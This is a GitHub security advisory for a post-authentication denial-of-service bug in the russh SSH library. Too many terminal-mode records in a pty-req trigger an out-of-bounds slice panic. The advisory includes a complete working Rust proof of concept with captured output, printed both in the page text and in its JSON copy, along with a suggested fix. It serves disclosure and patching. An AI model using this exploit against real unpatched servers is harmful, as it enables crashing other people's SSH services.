GHSA-CQJC-RMPQ-XPRQ

Vulnerability from github – Published: 2026-07-24 16:46 – Updated: 2026-08-12 20:56
VLAI
Summary
Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records
Details

Summary

A post-authentication denial-of-service panic in russh 0.62.2 (commit c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as of 2026-07-22). An authenticated client sends a pty-req channel request carrying more than 130 terminal-mode records. The parser uses a fixed [(Pty::TTY_OP_END, 0); 130] array but increments its counter i for every valid record (logging "too many pty codes" without returning), then slices &modes[0..i] — an out-of-bounds slice that panics (range end index 131 out of range for slice of length 130) before the application pty_request handler runs.

This is reachable with the default server configuration and the default crypto config (curve25519-sha256 + chacha20-poly1305), requiring only an authenticated session channel — no caller-supplied parameter. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real russh::client + russh::server over TCP, using the public Channel::request_pty(...) API); the PoC below links the real crate, not a copied snippet. The defect is still present on main HEAD (v0.62.3, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string parsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this code path still overflows the fixed array).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.

Details

russh/src/server/encrypted.rs, pty-req handling (lines 1137–1201):

let mut modes = [(Pty::TTY_OP_END, 0); 130];     // fixed 130-entry array (line 1137)
let mut i = 0;
...
while !mode_bytes.is_empty() {
    let code = mode_bytes[0];
    if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }
    if mode_bytes.len() < 5 { return Err(...); }
    let num = BigEndian::read_u32(&mode_bytes[1..5]);
    if let Some(code) = Pty::from_u8(code) {
        if i < 130 {
            modes[i] = (code, num);
        } else {
            error!("pty-req: too many pty codes");   // logs, does NOT return (line 1162)
        }
    }
    i += 1;                                          // keeps growing past 130
    mode_bytes = &mode_bytes[5..];
}
...
handler.pty_request(channel_num, &term, ..., &modes[0..i], self).await  // line 1201 — OOB when i > 130

Each terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value), and i += 1 runs for every valid record (including repeats of the same opcode). The if i < 130 write-gate prevents an in-array overflow but the counter still grows unbounded, and the later &modes[0..i] slice has no corresponding bound. SSH packet-size limits do not bound the mode count to 130, so a single normal-sized pty-req can carry hundreds of mode records. The client's own request_pty serialization (russh/src/client/session.rs:

((1 + 5 * terminal_modes.len()) as u32).encode(&mut enc.write)?;   // line 129
for &(code, value) in terminal_modes {
    if code == Pty::TTY_OP_END { continue; }
    (code as u8).encode(&mut enc.write)?;
    value.encode(&mut enc.write)?;                                   // line 135
}

writes every record with no count cap, so 131 records reach the server as a legitimate authenticated channel request.

PoC

The PoC is a standalone examples/ binary that links the unmodified real russh 0.62.2 crate and reproduces over a real TCP connection with the default crypto config. It runs an ATTACK case (131 mode records → panic) and a CONTROL case (130 mode records → parses fine), proving the panic is caused specifically by exceeding the 130-entry array.

One-line reproducer

# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_c15_pty_modes_panic
RUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic

russh/examples/e2e_c15_pty_modes_panic.rs

// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode
// records panics the russh server in its pty-req parser.
//
// A real `russh::client` + `russh::server` with the DEFAULT crypto config
// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),
// opens a session channel, and calls the public Channel::request_pty(...) API
// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server
// panics in its pty-req parser (&modes[0..i] OOB) on 131, parses fine on 130.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Mutex};

use russh::keys::Algorithm;
use russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};
use russh::{Channel, ChannelId, Pty};
use tokio::net::TcpListener;

#[tokio::main]
async fn main() {
    println!("=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\n");

    let (atk_panic, atk_handler) = run_case(131, "ATTACK ").await; // expect panic
    println!();
    let (ctl_panic, ctl_handler) = run_case(130, "CONTROL").await; // expect ok

    println!("\n=== summary ===");
    println!("case    | server panicked | pty_request handler ran");
    println!("ATTACK  | {atk_panic:<15} | {atk_handler}   (131 mode records)");
    println!("CONTROL | {ctl_panic:<15} | {ctl_handler}   (130 mode records)");

    if atk_panic && !atk_handler && !ctl_panic && ctl_handler {
        println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
        println!("   A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`");
        println!("   carrying 131 valid terminal-mode records makes the real");
        println!("   russh server panic in its pty-req parser");
        println!("   (range end index 131 out of range for slice of length 130)");
        println!("   before the application pty_request handler runs.");
    } else {
        eprintln!("NOT reproduced");
        std::process::exit(1);
    }
}

async fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!("[{label} server task panicked] {info}");
            prev(info);
        }));
    }

    let events: Arc<Mutex<Vec<&'static str>>> = Arc::new(Mutex::new(Vec::new()));

    // real russh server, DEFAULT crypto config (curve25519 + chacha20)
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());
    let config = Arc::new(config);

    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let addr = listener.local_addr().unwrap();

    let server_events = events.clone();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let handler = PtyServer { events: server_events };
        let session = server::run_stream(config, socket, handler).await.unwrap();
        session.await
    });

    // real russh client (default config: real ECDH + encryption + auth)
    let client_config = Arc::new(russh::client::Config::default());
    let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();
    let auth = session.authenticate_none("attacker").await.unwrap();
    assert!(auth.success(), "[{label}] auth_none did not succeed");

    let channel = session.channel_open_session().await.unwrap();
    println!("[{label}] authenticated + opened session channel");

    // terminal_modes: num_modes records of (VINTR, 42). The client serializes
    // all of them with no count cap (client/session.rs:129-137).
    let modes: Vec<(Pty, u32)> = vec![(Pty::VINTR, 42u32); num_modes];
    let want_reply = true;

    let pty_result = tokio::time::timeout(
        std::time::Duration::from_secs(3),
        channel.request_pty(want_reply, "xterm", 80, 24, 0, 0, &modes),
    ).await;
    println!("[{label}] client request_pty({num_modes} modes) -> {pty_result:?}");

    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
    let server_panicked = panicked.load(Ordering::SeqCst);
    let handler_ran = events.lock().unwrap().contains(&"pty_request");
    println!("[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}");
    let _ = std::panic::take_hook();
    (server_panicked, handler_ran)
}

#[derive(Clone)]
struct PtyServer { events: Arc<Mutex<Vec<&'static str>>> }
impl PtyServer {
    fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); }
}
impl Handler for PtyServer {
    type Error = russh::Error;
    async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }
    async fn channel_open_session(
        &mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session,
    ) -> Result<(), Self::Error> { reply.accept().await; Ok(()) }
    async fn pty_request(
        &mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32,
        _pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session,
    ) -> Result<(), Self::Error> { self.record("pty_request"); Ok(()) }
}

#[derive(Clone)]
struct AcceptAllClient {}
impl russh::client::Handler for AcceptAllClient {
    type Error = russh::Error;
    async fn check_server_key(
        &mut self, _server_public_key: &russh::keys::PublicKey,
    ) -> Result<bool, Self::Error> { Ok(true) }
}

Real captured output (ATTACK, RUST_BACKTRACE=1):

[ATTACK ] client request_pty(131 modes) -> Ok(Ok(()))
[ATTACK  server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:
range end index 131 out of range for slice of length 130
thread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39
stack backtrace:
   3: <Session>::server_read_authenticated::<PtyServer>
   4: <Session>::process_packet::<PtyServer>
   5: russh::server::reply::<PtyServer>
[ATTACK ] server task panicked = true, pty_request handler ran = false
[CONTROL] server task panicked = false, pty_request handler ran = true
=> CONFIRMED (end-to-end, real russh 0.62.2)

The panic occurs in russh's own post-auth parser before any application handler is invoked.

Impact

Remote, post-authentication denial of service of any russh SSH server using the default configuration. Any authenticated client with a session channel can crash the russh server task with a single SSH_MSG_CHANNEL_REQUEST pty-req carrying 131+ terminal-mode records (each record is 5 bytes, so 131 records fit in one normal-sized packet). This is trivially reachable for any legitimate or compromised SSH user. DoS only — Rust bounds-checked panics abort the task safely; there is no memory corruption or RCE.

Suggested fix

Cap i at 130 and reject the request instead of logging and continuing:

if i >= 130 {
    return Err(Error::Inconsistent.into());   // reject instead of logging+continuing
}
modes[i] = (code, num);

Affected versions

  • russh <= 0.62.3 (commit c4be19f1915c / current main HEAD v0.62.3, 2026-07-22). The bug is still present on main; it is not covered by any of the 11 published russh GHSA advisories. Default server::Config and client::Config are affected (no feature flag or opt-in).

Credit

Reported by the diff/ambidiff security research effort (afldl). Happy to coordinate a disclosure timeline; will request a CVE once confirmed.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.62.3"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "russh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.62.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:46:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA post-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An authenticated client sends a `pty-req` channel request\ncarrying more than 130 terminal-mode records. The parser uses a fixed\n`[(Pty::TTY_OP_END, 0); 130]` array but increments its counter `i` for every\nvalid record (logging \"too many pty codes\" without returning), then slices\n`\u0026modes[0..i]` \u2014 an out-of-bounds slice that **panics** (`range end index 131\nout of range for slice of length 130`) before the application `pty_request`\nhandler runs.\n\nThis is reachable with the **default** server configuration and the **default**\ncrypto config (curve25519-sha256 + chacha20-poly1305), requiring only an\nauthenticated session channel \u2014 no caller-supplied parameter. It is reproduced\nend-to-end against the unmodified real russh 0.62.2 library (a real\n`russh::client` + `russh::server` over TCP, using the public\n`Channel::request_pty(...)` API); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA\nadvisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string\nparsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this\ncode path still overflows the fixed array).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/server/encrypted.rs`, `pty-req` handling (lines 1137\u20131201):\n\n```rust\nlet mut modes = [(Pty::TTY_OP_END, 0); 130];     // fixed 130-entry array (line 1137)\nlet mut i = 0;\n...\nwhile !mode_bytes.is_empty() {\n    let code = mode_bytes[0];\n    if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }\n    if mode_bytes.len() \u003c 5 { return Err(...); }\n    let num = BigEndian::read_u32(\u0026mode_bytes[1..5]);\n    if let Some(code) = Pty::from_u8(code) {\n        if i \u003c 130 {\n            modes[i] = (code, num);\n        } else {\n            error!(\"pty-req: too many pty codes\");   // logs, does NOT return (line 1162)\n        }\n    }\n    i += 1;                                          // keeps growing past 130\n    mode_bytes = \u0026mode_bytes[5..];\n}\n...\nhandler.pty_request(channel_num, \u0026term, ..., \u0026modes[0..i], self).await  // line 1201 \u2014 OOB when i \u003e 130\n```\n\nEach terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),\nand `i += 1` runs for **every** valid record (including repeats of the same\nopcode). The `if i \u003c 130` write-gate prevents an in-array overflow but the\ncounter still grows unbounded, and the later `\u0026modes[0..i]` slice has no\ncorresponding bound. SSH packet-size limits do not bound the mode count to\n130, so a single normal-sized `pty-req` can carry hundreds of mode records.\nThe client\u0027s own `request_pty` serialization (`russh/src/client/session.rs`:\n\n```rust\n((1 + 5 * terminal_modes.len()) as u32).encode(\u0026mut enc.write)?;   // line 129\nfor \u0026(code, value) in terminal_modes {\n    if code == Pty::TTY_OP_END { continue; }\n    (code as u8).encode(\u0026mut enc.write)?;\n    value.encode(\u0026mut enc.write)?;                                   // line 135\n}\n```\n\nwrites every record with no count cap, so 131 records reach the server as a\nlegitimate authenticated channel request.\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection with the default\ncrypto config. It runs an ATTACK case (131 mode records \u2192 panic) and a CONTROL\ncase (130 mode records \u2192 parses fine), proving the panic is caused\nspecifically by exceeding the 130-entry array.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_c15_pty_modes_panic\nRUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic\n```\n\n### `russh/examples/e2e_c15_pty_modes_panic.rs`\n\n```rust\n// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode\n// records panics the russh server in its pty-req parser.\n//\n// A real `russh::client` + `russh::server` with the DEFAULT crypto config\n// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),\n// opens a session channel, and calls the public Channel::request_pty(...) API\n// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server\n// panics in its pty-req parser (\u0026modes[0..i] OOB) on 131, parses fine on 130.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::{Arc, Mutex};\n\nuse russh::keys::Algorithm;\nuse russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};\nuse russh::{Channel, ChannelId, Pty};\nuse tokio::net::TcpListener;\n\n#[tokio::main]\nasync fn main() {\n    println!(\"=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\\n\");\n\n    let (atk_panic, atk_handler) = run_case(131, \"ATTACK \").await; // expect panic\n    println!();\n    let (ctl_panic, ctl_handler) = run_case(130, \"CONTROL\").await; // expect ok\n\n    println!(\"\\n=== summary ===\");\n    println!(\"case    | server panicked | pty_request handler ran\");\n    println!(\"ATTACK  | {atk_panic:\u003c15} | {atk_handler}   (131 mode records)\");\n    println!(\"CONTROL | {ctl_panic:\u003c15} | {ctl_handler}   (130 mode records)\");\n\n    if atk_panic \u0026\u0026 !atk_handler \u0026\u0026 !ctl_panic \u0026\u0026 ctl_handler {\n        println!(\"\\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2):\");\n        println!(\"   A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`\");\n        println!(\"   carrying 131 valid terminal-mode records makes the real\");\n        println!(\"   russh server panic in its pty-req parser\");\n        println!(\"   (range end index 131 out of range for slice of length 130)\");\n        println!(\"   before the application pty_request handler runs.\");\n    } else {\n        eprintln!(\"NOT reproduced\");\n        std::process::exit(1);\n    }\n}\n\nasync fn run_case(num_modes: usize, label: \u0026\u0027static str) -\u003e (bool, bool) {\n    let panicked = Arc::new(AtomicBool::new(false));\n    {\n        let flag = panicked.clone();\n        let prev = std::panic::take_hook();\n        std::panic::set_hook(Box::new(move |info| {\n            flag.store(true, Ordering::SeqCst);\n            eprintln!(\"[{label} server task panicked] {info}\");\n            prev(info);\n        }));\n    }\n\n    let events: Arc\u003cMutex\u003cVec\u003c\u0026\u0027static str\u003e\u003e\u003e = Arc::new(Mutex::new(Vec::new()));\n\n    // real russh server, DEFAULT crypto config (curve25519 + chacha20)\n    let mut config = server::Config::default();\n    config.inactivity_timeout = None;\n    config.auth_rejection_time = std::time::Duration::from_millis(1);\n    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n    config.keys.push(russh::keys::PrivateKey::random(\u0026mut rand::rng(), Algorithm::Ed25519).unwrap());\n    let config = Arc::new(config);\n\n    let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n    let addr = listener.local_addr().unwrap();\n\n    let server_events = events.clone();\n    let server_task = tokio::spawn(async move {\n        let (socket, _peer) = listener.accept().await.unwrap();\n        let handler = PtyServer { events: server_events };\n        let session = server::run_stream(config, socket, handler).await.unwrap();\n        session.await\n    });\n\n    // real russh client (default config: real ECDH + encryption + auth)\n    let client_config = Arc::new(russh::client::Config::default());\n    let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();\n    let auth = session.authenticate_none(\"attacker\").await.unwrap();\n    assert!(auth.success(), \"[{label}] auth_none did not succeed\");\n\n    let channel = session.channel_open_session().await.unwrap();\n    println!(\"[{label}] authenticated + opened session channel\");\n\n    // terminal_modes: num_modes records of (VINTR, 42). The client serializes\n    // all of them with no count cap (client/session.rs:129-137).\n    let modes: Vec\u003c(Pty, u32)\u003e = vec![(Pty::VINTR, 42u32); num_modes];\n    let want_reply = true;\n\n    let pty_result = tokio::time::timeout(\n        std::time::Duration::from_secs(3),\n        channel.request_pty(want_reply, \"xterm\", 80, 24, 0, 0, \u0026modes),\n    ).await;\n    println!(\"[{label}] client request_pty({num_modes} modes) -\u003e {pty_result:?}\");\n\n    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n    let server_panicked = panicked.load(Ordering::SeqCst);\n    let handler_ran = events.lock().unwrap().contains(\u0026\"pty_request\");\n    println!(\"[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}\");\n    let _ = std::panic::take_hook();\n    (server_panicked, handler_ran)\n}\n\n#[derive(Clone)]\nstruct PtyServer { events: Arc\u003cMutex\u003cVec\u003c\u0026\u0027static str\u003e\u003e\u003e }\nimpl PtyServer {\n    fn record(\u0026self, e: \u0026\u0027static str) { self.events.lock().unwrap().push(e); }\n}\nimpl Handler for PtyServer {\n    type Error = russh::Error;\n    async fn auth_none(\u0026mut self, _user: \u0026str) -\u003e Result\u003cAuth, Self::Error\u003e { Ok(Auth::Accept) }\n    async fn channel_open_session(\n        \u0026mut self, _channel: Channel\u003cMsg\u003e, reply: ChannelOpenHandle, _session: \u0026mut Session,\n    ) -\u003e Result\u003c(), Self::Error\u003e { reply.accept().await; Ok(()) }\n    async fn pty_request(\n        \u0026mut self, _channel: ChannelId, _term: \u0026str, _col_width: u32, _row_height: u32,\n        _pix_width: u32, _pix_height: u32, _modes: \u0026[(Pty, u32)], _session: \u0026mut Session,\n    ) -\u003e Result\u003c(), Self::Error\u003e { self.record(\"pty_request\"); Ok(()) }\n}\n\n#[derive(Clone)]\nstruct AcceptAllClient {}\nimpl russh::client::Handler for AcceptAllClient {\n    type Error = russh::Error;\n    async fn check_server_key(\n        \u0026mut self, _server_public_key: \u0026russh::keys::PublicKey,\n    ) -\u003e Result\u003cbool, Self::Error\u003e { Ok(true) }\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] client request_pty(131 modes) -\u003e Ok(Ok(()))\n[ATTACK  server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:\nrange end index 131 out of range for slice of length 130\nthread \u0027tokio-rt-worker\u0027 panicked at russh/src/server/encrypted.rs:1201:39\nstack backtrace:\n   3: \u003cSession\u003e::server_read_authenticated::\u003cPtyServer\u003e\n   4: \u003cSession\u003e::process_packet::\u003cPtyServer\u003e\n   5: russh::server::reply::\u003cPtyServer\u003e\n[ATTACK ] server task panicked = true, pty_request handler ran = false\n[CONTROL] server task panicked = false, pty_request handler ran = true\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe panic occurs in russh\u0027s own post-auth parser before any application\nhandler is invoked.\n\n## Impact\n\n**Remote, post-authentication denial of service of any russh SSH server using\nthe default configuration.** Any authenticated client with a session channel can\ncrash the russh server task with a single `SSH_MSG_CHANNEL_REQUEST` `pty-req`\ncarrying 131+ terminal-mode records (each record is 5 bytes, so 131 records\nfit in one normal-sized packet). This is trivially reachable for any legitimate\nor compromised SSH user. DoS only \u2014 Rust bounds-checked panics abort the task\nsafely; there is no memory corruption or RCE.\n\n### Suggested fix\n\nCap `i` at 130 and reject the request instead of logging and continuing:\n\n```rust\nif i \u003e= 130 {\n    return Err(Error::Inconsistent.into());   // reject instead of logging+continuing\n}\nmodes[i] = (code, num);\n```\n\n### Affected versions\n\n- `russh` **\u003c= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n  `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n  by any of the 11 published russh GHSA advisories. Default `server::Config`\n  and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nReported by the diff/ambidiff security research effort (afldl). Happy to\ncoordinate a disclosure timeline; will request a CVE once confirmed.",
  "id": "GHSA-cqjc-rmpq-xprq",
  "modified": "2026-08-12T20:56:50Z",
  "published": "2026-07-24T16:46:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-cqjc-rmpq-xprq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/commit/8912512371820167a12a0a638bd666856ce458ad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Eugeny/russh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…